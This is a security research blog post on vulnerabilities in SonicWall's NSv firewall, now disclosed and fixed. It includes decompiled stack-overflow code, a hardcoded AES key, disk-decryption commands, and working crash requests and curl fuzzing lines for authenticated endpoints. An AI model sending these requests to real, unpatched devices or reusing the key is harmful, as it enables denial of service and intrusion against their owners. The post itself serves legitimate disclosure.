Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

Here at watchTowr, we just love attacking high-privilege devices (and spending hours thinking of awful titles [see above]).

A good example of these is the device class of ‘next generation’ firewalls, which usually include VPN termination functionality (meaning they’re Internet-accessible by network design). These devices patrol the border between the untrusted Internet and an organisation’s softer internal network, and so are a great place for attackers to elevate their status from ‘outsiders’ to ‘trusted users’.

We’ve found in previous research projects such devices usually drag behind them a legacy codebase, often full of vulnerabilities, weaknesses, unexpected behaviour, false-positives and forgotten functionality.

Up until now, one vendor has escaped our eye - SonicWall, a company who (as the name suggests) center around firewalls and secure border devices. Fear not, SonicWall users, the time has come for your devices to be scrutinised!

Like previous devices we’ve looked at, SonicWall's NGFW series of physical and cloud routers is designed to sit at the border to a corporate network and, conceptually, filter traffic. It does this with a traditional firewall, with rapidly-updated IP and DNS-based blocklists, and via other more complex means, such as a traditional antivirus and ‘deep’ SSL inspection.

In order to inspect encrypted traffic, the device is often equipped with a CA TLS certificate, meaning easy MiTM attacks for an attacker who manages to break into the device. VPN functionality makes it even more interesting to an attacker, since the device is thus accessible by a large amount of users and usually exposed to the entire internet.

Clearly this is a device positioned as high-privilege and hardened.

As you can imagine, we foam at the mouth at the prospect of some nice juicy bugs in such devices. As researchers, these are the challenges that keep us going - finding bugs and weaknesses to help the red team position itself at the best possible angle, so defenders can have the most realistic view of their network landscape.

Can we find a way to elevate from a VPN user to exploit the privileged position of the router in the network, bypassing firewall rules and access policies? Could we find RCE, enabling MiTM attacks? No TLS connection is safe when the device holds a root CA cert!

Device Acquisition

Acquiring access to a SonicWall device was easy - as is the trend these days, SonicWall have a cloud-based device via EC2, and also provide a ‘free trial’ period for us to do our analysis. Smashing! We fire it up and get going. If you’re following along at home, we played with version 7.0.1-5111 build 2052.

Our first step was to take an image of the disks to examine them offline. This is where we hit our first roadblock.

Encrypted disks

SonicWall, it seems, decided to use full-disk encryption in their EC2 image, which is frustrating as a security researcher not because it prevents access, but rather because defeating it it soaks up time that could be better spent doing actual analysis.

We can only speculate on SonicWall's motivation for doing so - perhaps some common audit requirement among their clients, an attempt to hinder tampering, or an effort to prevent counterfeit devices.

Fortunately, after some time, we found an excellent writeup (in Chinese, but us anglophones could figure out what was going on) on the topic of extracting the FDE keys, which suggests using a hypervisor’s debug features to set a breakpoint in the GRUB bootloader, responsible for mounting the disks (and thus having access to the FDE keys).

We applied this research to mount the disk partitions, and all seemed well - until we found one partition which we could not mount read-write, but would only mount read-only.

# cat key-p3 | cryptsetup luksOpen /dev/nvme0n1p3 p3
# cat key-p6 | cryptsetup luksOpen /dev/nvme0n1p6 p6
# cat key-p7 | cryptsetup luksOpen /dev/nvme0n1p7 p7
# cat key-p9 | cryptsetup luksOpen /dev/nvme0n1p9 p9
# mkdir /mnt/p3 /mnt/p6 /mnt/p7 /mnt/p9
# mount /dev/mapper/p3 /mnt/p3
mount: /mnt/p3: wrong fs type, bad option, bad superblock on /dev/mapper/p3, missing codepage or helper program, or other error.
       dmesg(1) may have more information after failed mount system call.
# mount /dev/mapper/p6 /mnt/p6
# mount /dev/mapper/p7 /mnt/p7
# mount /dev/mapper/p9 /mnt/p9

Why did partition 3 not mount? It’s definitely an ext3 partition:

# file --dereference --special-files /dev/mapper/p3
/dev/mapper/p3: Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=39a04b61-3410-406d-8ee2-9a07635993e0 (large files)

Weird, huh? Fortunately dmesg gives us a clue:

# tail -n 1 dmesg
[  800.837818] EXT4-fs (dm-0): couldn't mount RDWR because of unsupported optional features (ff000000)

After some head-scratching, we realised that SonicWall took the additional step of setting the ‘required features’ flags in the ext4 filesystem to 0xFF (shown in the output of dmesg above). This tells the ext4 driver code that mounting the filesystem requires support for a whole bunch of features that don’t actually exist yet, and so, the ext4 driver errs on the side of caution and refuses to continue.

Presumably this is intended to prevent the SonicWall appliance from inadvertently mounting the partition read-write, rather than as a security measure.

To get around it, we can simply modify the partition’s flags, and then we can mount it:

# printf '\\000' | dd of=/dev/mapper/p3 seek=$((0x467)) conv=notrunc count=1 bs=1
# mount /dev/mapper/p3 /mnt/p3

Once we’ve finished, we can restore the original flags:

# umount /dev/mapper/p3
# printf '\\377' | dd of=/dev/mapper/p3 seek=$((0x467)) conv=notrunc count=1 bs=1

Et Voila - we have all the disk partitions mounted and can proceed to do our analysis.

First impressions

Once we’d sidestepped the disk encryption, our first impressions of the architecture were pretty positive, from a security point of view.

SonicWall made the decision to segment their offering via the rocket containerization platform, which can bring benefits to both manageability and security. We speculate that breaking out of the container is probably straightforward, due to the high-performance in-kernel packet switching code that the container has access to, although this was beyond the scope of our research (for now).

Like most devices in this class, the bulk of the application logic is in one large binary - the 95MB sonicosv binary. However, one thing that we found very useful is that SonicWall also ship a second binary, aptly named sonicosv.debug, which is approximately 50MB larger. While it is not a ‘debug’ binary in the sense that symbols are still stripped, it does contain a wealth of additional checks and logging functionality, which makes reversing the binary much, much easier.

There are also a bunch of seemingly-unused functions in the debug binary which make those long hours staring at a disassembler that little bit more amusing.

First bugs

So typically, once we open up a large new codebase like this, we spend some time getting acquainted with the code.

A few hours turn into a few days, as we write IDAPython snippets to extract function names from log functions, we identify functions that might come in handy later on, and generally figure out what’s going on.

It’s rare, at this stage, that we discover any vulnerabilities - but in this case, something rapidly caught our eye:

A leet-speak encoded string, being fed into an encryption primitive?! Oooh! What could this be? Let’s take a look around.

char key[512];
__int64 IV[2];
char encryptedData[208];

queryStringData = parseQueryStringData(a2);
for ( i = queryStringData; i; i = *i )
{
  if ( !strcmp(i->paramName, "url") )
  {
    if ( logThingToSyslog("NOTICE", "dynHandleBuyToolbar", 12239LL) )
      sub_1FF1DBC("Encypted URL Data [%s]", i->paramData);
    dataLen = strlen(i->paramData) / 2;
    if ( !dataLen )
    {
      if ( logThingToSyslog("NOTICE", "dynHandleBuyToolbar", 12245LL) )
        sub_1FF1DBC("No query data", "dynHandleBuyToolbar");
      break;
    }
    toEncrypt = SWCALLOC(1LL, dataLen, "dynHandleBuyToolbar", 12249LL);
    if ( toEncrypt )
    {
      sub_27D4B82(i->paramData, toEncrypt, dataLen);
      memset(encryptedData, 0, 0x200uLL);
      aesInit(1LL, "D3lls0n1cwLl00", 16LL, expandedKey);
      IV = {0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15};
      do_aes_cbc_encrypt(toEncrypt, encryptedData, dataLen, expandedKey, IV, NULL);
      v32 = strlen(encryptedData);
      v28 = encryptedData[v32 - 1];
      if ( !is_asc(v28) )
        encryptedData[v32 - v28] = 0;
      if ( logThingToSyslog("NOTICE", "dynHandleBuyToolbar", 12286LL) )
        sub_1FF1DBC("new buy toolbar URL [%s] length [%d] new length [%d]", encryptedData, v32, v32 - v28, v14, v15);
      snprintf(byte_D564F80, 0x100uLL, "%s", encryptedData);
      saveRamPrefs();
      swFree(toEncrypt, "dynHandleBuyToolbar", 12290LL);
      }
    }
  }
  freeQueryStringData(queryStringData);
}

Oh wow, what’s going on here?! First off, we have the weak key we just happened upon. Then there’s a hard-coded IV, and - to top it off - it looks like there’s an overflow in the encryptedData buffer. Yikes!

What is this functionality, though? We couldn’t find any references to it in SonicWall's documentation, nor any way to activate it. After some thorough investigation, we concluded that it could well be related to this “customer requested enhancement”, related to running a demo banner at the top of the site.

No matter how we reversed, though, we couldn’t seem to find a way to actually enable this functionality. We concluded that it either requires some arcane invocation, or that functionality to enable it simply isn’t present in retail builds of the SonicWall software.

We suspected, at this point, that SonicWall’s “demo” environment (in which an emulated SonicWall device is available publicly for prospective users to play with) may expose this code, but (for obvious legal and ethical reasons) we couldn’t probe the SonicWall site, and so our research into this bug ended here, with us reporting it to SonicWall's security team.

While we were somewhat uneasy about reporting a finding without being able to demonstrate the dire consequence of exploitation, Sonicwall took the finding seriously and assigned it CVE-2023-41713.

It is interesting to note that Sonicwall appear to have remediated the issue by removing this functionality entirely, suggesting it was indeed a half-baked solution to an extremely uncommon configuration used by the third-party vendor named in the secret. So, while we have a neat bug, it’s not ‘world-ending’ - our appetites whetted, we continued our search for bugs.

SSLVPN, my old friend

With the flurry of excitement of our first find fading fast, we decided we’d focus our efforts on the SSLVPN functionality that the device exposes.

This is historically a good spot to hunt bugs - we’ve seen a significant amount of truly ‘sky is falling’-level bugs in other appliances in this area - even recently - so perhaps we can replicate that success. We switch the SonicWall device to use the ‘debug’ version of the binary, for more verbose logging and easier reversing, and get cracking (so to speak).

Indeed, once we start looking, the flames of our hopes are fanned by the code we see - lots and lots of 90s-style C code handing lots and lots of user-provided data. What could possibly go wrong?!

As we’ve mentioned in previous posts, it’s always a good starting point to map HTTP routes when analyzing any web service, and this is no different - except rather than finding those routes in an apache.conf on the filesystem, they’re in the binary itself, and in this case, they’re spread out into a few different places, from tables of read-only data and tables maintained at runtime, all the way to hardcoded case statements.

Let’s take a look at some of what SonicWall terms ‘dynamic’ handlers. These are registered at system startup via the dynRegister function, which takes an ID, the URL of the object to register, and a handler function. Here’s an example:

Poking through some of these, there’s one for manipulating bookmark data for logged-in SSLVPN users. Who can spot the bug below?

__int64 __fastcall sub_3113AE4(unsigned int origin_socketIn, auto requestData, bool loginOverride)
{
  char domainName[128] = {0};
  char dest[200] = {0};

  unsigned int origin_socket = origin_socketIn;
  bool userIsLoggedIn = loginOverride || ((bool)checkUserLoggedIn(origin_socketIn));

  if ( requestData && requestData->unknown )
  {
    auto StringData = parseQueryStringData(requestData);
    for ( auto i = StringData; i != NULL; i = i->next )
    {
      if ( strcmp(i->paramName, "userName") == 0)
      {
        size_t paramDataLen = strlen(i->paramData);

        char* posOfAtSymbol = strchr(i->paramData, '@');
        if ( posOfAtSymbol != 0)
        {
          memcpy(dest, i->paramData, posOfAtSymbol - i->paramData);
          memcpy(domainName, posOfAtSymbol + 1, paramDataLen + s - posOfAtSymbol - 1);
        }
        else
        {
          memcpy(dest, i->paramData, paramDataLen);
        }
      }
      else if ( strcmp(i->paramName, "origin_socket") == 0 )
      {
        sscanf(i->paramData, "%d", &origin_socket);
      }
    }
    freeQueryStringData(StringData);
  }
  if ( !dest[0] )
    return 0xFFFFFFFFLL;
  if ( userIsLoggedIn)
    jsonPrintBookmarkArray(origin_socketIn, dest, domainName, origin_socket);
  return 0LL;
}

Those familiar with binary-level bug-hunting will quickly have their attention taken by the fixed-size buffers - two of them, in this case - dest and domainName. They’ll also be interested in the memcpy calls, and will be positively gripped by the combination - developers are always getting memcpy wrong and overflowing stack buffers for a nice easy-to-exploit stack overflow.

Indeed, this function doesn’t disappoint - simply feeding it a large enough string is enough to overflow the stack buffer:

GET /api/sonicos/dynamic-file/getBookmarkList.json?userName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1

Nice! Although accessing this endpoint requires authentication, as an SSLVPN user, this bug appeared to be pretty serious, enabling RCE as root. We celebrated our win, and only later thought to try the same bug on the non-debug version of the SonicWall appliance.

Saved by the compiler

Unfortunately, when we tried to replicate this vulnerability on a non-debug instance of the SonicWall, we found the machine would fail in a significantly more graceful manner, with a nasty SIGABRT instead of a lovely SIGSEGV:

What’s happening here?! Where’s our nice RCE?!

Well, let’s take a look at the differences between the debug and ‘release’ versions of the code.

The debug version, which we can overflow:

And the release version, which we cannot:

What’s this?! “memcpy_chk”?! Is this what’s causing our issues?

It turns out, when gcc is supplied with the argument -DFORTIFY_SOURCE, calls to memcpy (and a few other functions) will be replaced by a call to memcpy_chk, which will perform a similar duty to the original memcpy but will also check the destination buffer length (you can see it in the last argument in the release code screenshot again). memcpy_chk will ensure that any potential overrun is caught, and instead of overflowing the destination buffer (leading to that juicy RCE), the target will call abort and exit immediately. D’oh!

This has the effect of downgrading our RCE to a DoS bug when run against release versions of the SonicWall NSv. We estimate that the portion of users running the debug version is vanishingly small (if you’re running the debug version in production, we’d love to hear from you!), and so sadly reported this as an authenticated DoS bug to SonicWall. The CVE for this one is CVE-2023-39276 (see below for more info on fixed versions of the code).

Spurned by our near-miss, we took a look through some of the other handlers, and spotted another stack overflow, this time in the sonicflow.csv handler, centering around the sn querystring parameter.

The same sort of thing happens, with a querystring parameter unsafely copied into a stack buffer:

char v21[64];

StringData = parseQueryStringData(a2);
for ( i = StringData; i; i = *i )
{
...
   if ( !strcmp(i->paramName, "sn") )
     strcpy(v21, i->paramData);
...
}
freeQueryStringData(StringData);

Whoops! Let’s feed it some A’s once again:

GET /api/sonicos/dynamic-file/sonicflow.csv?sn=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1

Another stack overflow - sadly with the same caveat, it is only exploitable on the NSv we analysed as a DoS in release mode (while debug mode is exploitable for full RCE).

We found the same bug was reachable from the appflowsessions.csv endpoint, and duly reported the bug to SonicWall. This vulnerability was assigned CVE-2023-39277.

A whole bunch of DoS bugs

So, at this juncture, we’ve got three CVEs - a hardcoded credential, and two stack overflows. Neat! What’s next?

Well, as regular readers might remember, some time ago we located a DoS bug in a competing device, Fortinet’s FortiGuard, which relied on sending a GET request to an endpoint which would usually only receive a POST.

Since checks for a request body were erroneously omitted, the Fortinet device would assume a body was present on the GET request, and attempt to reference invalid memory at the NULL address. We wondered, are such bugs more common than we thought? Perhaps a similar bug could exist in the SonicWall device, too.

To search for this bug, we decided to extract routes from the binary directly (thus hitting lots of endpoints that aren’t currently used and thus might be missed by conventional spidering). In addition to the “dynamic” handlers above, we located a few tables containing route information.

Here’s the first:

.data:0000000008CB64C0 C9 DF 8C 04 00+off_8CB64C0     dq offset aActivationview_0 ; "activationView.html"
.data:0000000008CB64C8 00 08 00 00 00+                dq 800h
.data:0000000008CB64D0 78 33 0B 0A 00+                dq offset qword_A0B3378
.data:0000000008CB64D8 DD DF 8C 04 00+                dq offset aActiveconnecti_2 ; "activeConnectionsMonitor.html"
.data:0000000008CB64E0 00 21 00 00 00+                dq 2100h
.data:0000000008CB64E8 78 33 0B 0A 00+                dq offset qword_A0B3378
.data:0000000008CB64F0 FB DF 8C 04 00+                dq offset aAddafobjgroupd ; "addAFObjGroupDlg.html"
.data:0000000008CB64F8 00 00 00 00 00+                align 20h
.data:0000000008CB6500 78 33 0B 0A 00+                dq offset qword_A0B3378
.data:0000000008CB6508 11 E0 8C 04 00+                dq offset aAddantispamall ; "addAntispamAllowListDlg.html"
.data:0000000008CB6510 00 09 00 00                    dd 900h
.data:0000000008CB6514 00 00 00 00                    dd 0
.data:0000000008CB6518 78 33 0B 0A 00+                dq offset qword_A0B3378
.data:0000000008CB6520 2E E0 8C 04 00+                dq offset aAddantispamrej ; "addAntispamRejectListDlg.html"

Here we have a series of structures, with each containing an endpoint filename, some kind of ‘flags’ integer (which actually stores which methods are valid for each endpoint, along with required authentication information), and some kind of state object.

We wrote some quick IDAPython to pull out all the URLs, and continued our search. We found another table, containing far more interesting data. It’s quite verbose, as you can see:

.data:0000000008BCB240                ; sonicos_api_hateoas_entry URLHandlerTable
.data:0000000008BCB240 99 10 23 04 00+URLHandlerTable dq offset aApiSonicos_0 ; name
.data:0000000008BCB240 00 00 00 00 00+                                        ; DATA XREF: sub_189B1AD+19↑o
.data:0000000008BCB240 00 00 00 00 00+                                        ; sonicOsApi_serviceRequest+164↑o
.data:0000000008BCB248 00 01 01 00 00+                dq 0                    ; field_8 ; "/api/sonicos"
.data:0000000008BCB250 00 00 00 00 5E+                dq 101h                 ; info_GET.field_0
.data:0000000008BCB258 E1 8B 01 00 00+                dq offset sub_18BE15E   ; info_GET.handlerFunc
.data:0000000008BCB260 00 00 04 00 00+                dd expectedEmptyRequestBody; info_GET.flags
.data:0000000008BCB264 00 00 00 00 00+                dd 0                    ; info_GET.field_14
.data:0000000008BCB268 01 00 00 00 00+                dd 1                    ; info_GET.somethingToDoWithContentType_in
.data:0000000008BCB26C 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB284 00 00 00 00 00+                dd 1                    ; info_GET.somethingToDoWithContentType_out
.data:0000000008BCB288 00 00 00 00 00+                db 6, 17h dup(0)
.data:0000000008BCB2A0 00 00 00 00 00+                dw 1                    ; info_GET.flagsToDoWithContentType
.data:0000000008BCB2A2 00 00 00 01 00+                db 6 dup(0)
.data:0000000008BCB2A8 00 00 06 00 00+                dq 0                    ; info_POST.field_0
.data:0000000008BCB2B0 00 00 00 00 00+                dq 0                    ; info_POST.handlerFunc
.data:0000000008BCB2B8 00 00 00 00 00+                dd 0                    ; info_POST.flags
.data:0000000008BCB2BC 00 00 00 00 00+                dd 0                    ; info_POST.field_14
.data:0000000008BCB2C0 00 00 00 00 00+                dd 0                    ; info_POST.somethingToDoWithContentType_in
.data:0000000008BCB2C4 00 01 00 00 00+                db 18h dup(0)
.data:0000000008BCB2DC 00 00 00 00 00+                dd 0                    ; info_POST.somethingToDoWithContentType_out
.data:0000000008BCB2E0 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB2F8 00 00 00 00 00+                dw 0                    ; info_POST.flagsToDoWithContentType
.data:0000000008BCB2FA 00 00 00 00 00+                db 6 dup(0)
.data:0000000008BCB300 00 00 00 00 00+                dq 0                    ; info_PUT.field_0
.data:0000000008BCB308 00 00 00 00 00+                dq 0                    ; info_PUT.handlerFunc
.data:0000000008BCB310 00 00 00 00 00+                dd 0                    ; info_PUT.flags
.data:0000000008BCB314 00 00 00 00 00+                dd 0                    ; info_PUT.field_14
.data:0000000008BCB318 00 00 00 00 00+                dd 0                    ; info_PUT.somethingToDoWithContentType_in
.data:0000000008BCB31C 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB334 00 00 00 00 00+                dd 0                    ; info_PUT.somethingToDoWithContentType_out
.data:0000000008BCB338 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB350 00 00 00 00 00+                dw 0                    ; info_PUT.flagsToDoWithContentType
.data:0000000008BCB352 00 00 00 00 00+                db 6 dup(0)
.data:0000000008BCB358 00 00 00 00 00+                dq 0                    ; info_PATCH.field_0
.data:0000000008BCB360 00 00 00 00 00+                dq 0                    ; info_PATCH.handlerFunc
.data:0000000008BCB368 00 00 00 00 00+                dd 0                    ; info_PATCH.flags
.data:0000000008BCB36C 00 00 00 00 00+                dd 0                    ; info_PATCH.field_14
.data:0000000008BCB370 00 00 00 00 00+                dd 0                    ; info_PATCH.somethingToDoWithContentType_in
.data:0000000008BCB374 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB38C 00 00 00 00 00+                dd 0                    ; info_PATCH.somethingToDoWithContentType_out
.data:0000000008BCB390 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB3A8 00 00 00 00 00+                dw 0                    ; info_PATCH.flagsToDoWithContentType
.data:0000000008BCB3AA 00 00 00 00 00+                db 6 dup(0)
.data:0000000008BCB3B0 00 00 00 00 00+                dq 0                    ; info_DELETE.field_0
.data:0000000008BCB3B8 00 00 00 00 00+                dq 0                    ; info_DELETE.handlerFunc
.data:0000000008BCB3C0 00 00 00 00 00+                dd 0                    ; info_DELETE.flags
.data:0000000008BCB3C4 00 00 00 00 00+                dd 0                    ; info_DELETE.field_14
.data:0000000008BCB3C8 00 00 00 00 00+                dd 0                    ; info_DELETE.somethingToDoWithContentType_in
.data:0000000008BCB3CC 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB3E4 00 00 00 00 00+                dd 0                    ; info_DELETE.somethingToDoWithContentType_out
.data:0000000008BCB3E8 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB400 00 00 00 00 00+                dw 0                    ; info_DELETE.flagsToDoWithContentType
.data:0000000008BCB402 00 00 00 00 00+                db 6 dup(0)
.data:0000000008BCB408 00 00 00 00 00+                dq 0                    ; info_HEAD.field_0
.data:0000000008BCB410 00 00 00 00 00+                dq 0                    ; info_HEAD.handlerFunc
.data:0000000008BCB418 00 00 00 00 00+                dd 0                    ; info_HEAD.flags
.data:0000000008BCB41C 00 00 00 00 00+                dd 0                    ; info_HEAD.field_14
.data:0000000008BCB420 00 00 00 00 00+                dd 0                    ; info_HEAD.somethingToDoWithContentType_in
.data:0000000008BCB424 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB43C 00 00 00 00 00+                dd 0                    ; info_HEAD.somethingToDoWithContentType_out
.data:0000000008BCB440 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB458 00 00 00 00 00+                dw 0                    ; info_HEAD.flagsToDoWithContentType
.data:0000000008BCB45A 00 00 00 00 00+                db 6 dup(0)
.data:0000000008BCB460 00 00 00 00 00+                dq 0                    ; info_COMPLETE.field_0
.data:0000000008BCB468 00 00 00 00 00+                dq 0                    ; info_COMPLETE.handlerFunc
.data:0000000008BCB470 00 00 00 00 00+                dd 0                    ; info_COMPLETE.flags
.data:0000000008BCB474 00 00 00 00 00+                dd 0                    ; info_COMPLETE.field_14
.data:0000000008BCB478 00 00 00 00 00+                dd 0                    ; info_COMPLETE.somethingToDoWithContentType_in
.data:0000000008BCB47C 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB494 00 00 00 00 00+                dd 0                    ; info_COMPLETE.somethingToDoWithContentType_out
.data:0000000008BCB498 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB4B0 00 00 00 00 00+                dw 0                    ; info_COMPLETE.flagsToDoWithContentType
.data:0000000008BCB4B2 00 00 00 00 00+                db 5 dup(0)
.data:0000000008BCB4B7 00 00 00 00 00+                db 0                    ; field_277
.data:0000000008BCB4B8                ; sonicos_api_hateoas_entry

It’s a big struct, but it’s actually simple.

The first element is the name of the endpoint being described (here /api/sonicos). This is followed by six structures, each describing its behaviour when queried using six verbs - GET, POST, PUT, PATCH, DELETE, HEAD, and the SonicWall-unique COMPLETE. Each of those structures specifies a handler function and some flags, along with some miscellaneous information. The flags specify if the request should contain a request body, or if access should only be granted to authenticated users.

Again, we wrote some quick IDAPython to enumerate the endpoints, and added them to our list.

Now satisfied that we’ve amassed details of as many endpoints as we can (slightly over 600), we built an extremely low-tech fuzzer, by simply taking a list of endpoints and using a regular expression to turn each into a cURL request.

Sometimes simple is best, and there was no need to even write a Python script in this case! We went from our list of endpoints to a file similar to this:

curl  https://192.168.70.77:4433/api/sonicos/dynamic-file/IgmpState.xml --insecure --header "Authorization: Bearer [truncated]" --header "Content-Type: application/json, text/plain, */*"
curl  https://192.168.70.77:4433/api/sonicos/dynamic-file/accessRuleStats.xml --insecure --header "Authorization: Bearer [truncated]" --header "Content-Type: application/json, text/plain, */*"
curl  https://192.168.70.77:4433/api/sonicos/dynamic-file/accessRuleStats.xml --insecure --header "Authorization: Bearer [truncated]" --header "Content-Type: application/json, text/plain, */*"

If you’re following along at home, note the Content-Type header, which is required for handlers to be called.

Somewhat surprisingly, our 600-line batch script was successful in crashing the SonicWall appliance, with multiple endpoints causing individual crashes.

Each time we ran it, we simply took note of which URL crashed the device, commented it out, and re-ran the script to see if any other endpoints exhibited the same behaviour. Amazingly, we found no less than seven endpoints that crashed the SonicWall device in no less than six different code paths!

While I won’t bore you with the details of each, here’s one which is a good example of what we found - fetching from any of these two endpoints, after authentication, causes a NULL dereference.

GET /api/sonicos/dynamic-file/ssoStats-[any string].xml
GET /api/sonicos/dynamic-file/ssoStats-[any string].wri

Here’s a handy table of the codepaths and endpoints we found:

Conclusion

So, what have we got, in total? Well, five CVEs over seven endpoints above, plus the following:

Not a bad haul!

It is interesting - and slightly worrying, if we’re totally honest - that we found so many very simple bugs using our simple “regex and curl”-based “fuzzer”. Simple bugs like this simply shouldn’t exist on a ‘hardened’ border device like this. It is likely that the high barrier to entry (FDE, for example) has excluded many researchers who could otherwise have found these very straightforward bugs. It is very fortunate (and no doubt deliberate) that SonicWall build their NSv’s main codebase with FORTIFY_SOURCE.

The real moral of the story is a lesson for attackers and fellow researchers - attack ‘hard’ targets, with significant barriers to entry, and often you’ll be surprised by just how ‘soft’ they are.

All of these issues have been fixed by SonicWall. Depending on your device, the specific version containing updates may vary - refer to SonicWall's remediation advice, summarised below. Those who use the SSLVPN functionality are advised to upgrade to avoid potential DoS vulnerabilities, and those that run their devices in debug mode - if such users exist! - are advised to upgrade as a matter of urgency to avoid exposure to two authenticated RCE bugs.

In addition to assigning CVE for these issues, and issuing fixes, SonicWall took the extra step of providing us with a test build of their router firmware so that we could double-check that issues had been fixed, a useful extra step to ensure the safety of their users. We also appreciate their recognition in admitting watchTowr to their ‘hall of fame’.

Timeline